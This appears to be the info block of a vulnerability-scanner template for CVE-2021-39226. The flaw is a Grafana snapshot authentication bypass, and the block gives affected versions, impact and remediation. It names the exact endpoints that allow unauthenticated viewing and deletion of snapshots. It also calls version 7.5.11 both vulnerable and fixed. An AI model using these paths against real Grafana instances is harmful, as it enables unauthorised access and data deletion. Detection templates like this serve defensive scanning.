id: CVE-2021-39226

info:
  name: Grafana Snapshot - Authentication Bypass
  author: Evan Rubinstein,matejsmycka
  severity: high
  description: Grafana instances up to 7.5.11 and 8.1.5 allow remote unauthenticated users to view the snapshot associated with the lowest database key by accessing the literal paths /api/snapshot/:key or /dashboard/snapshot/:key. If the snapshot is in public mode, unauthenticated users can delete snapshots by accessing the endpoint /api/snapshots-delete/:deleteKey. Authenticated users can also delete snapshots by accessing the endpoints /api/snapshots-delete/:deleteKey, or sending a delete request to /api/snapshot/:key, regardless of whether or not the snapshot is set to public mode (disabled by default).
  impact: |
    An attacker can bypass authentication and gain unauthorized access to Grafana Snapshot feature.
  remediation: 'This issue has been resolved in versions 8.1.6 and 7.5.11. If you cannot upgrade you can block access to the literal paths: /api/snapshots/:key, /api/snapshots-delete/:deleteKey, /dashboard/snapshot/:key, and /api/snapshots/:key. They have no normal function and can be disabled without side effects.'
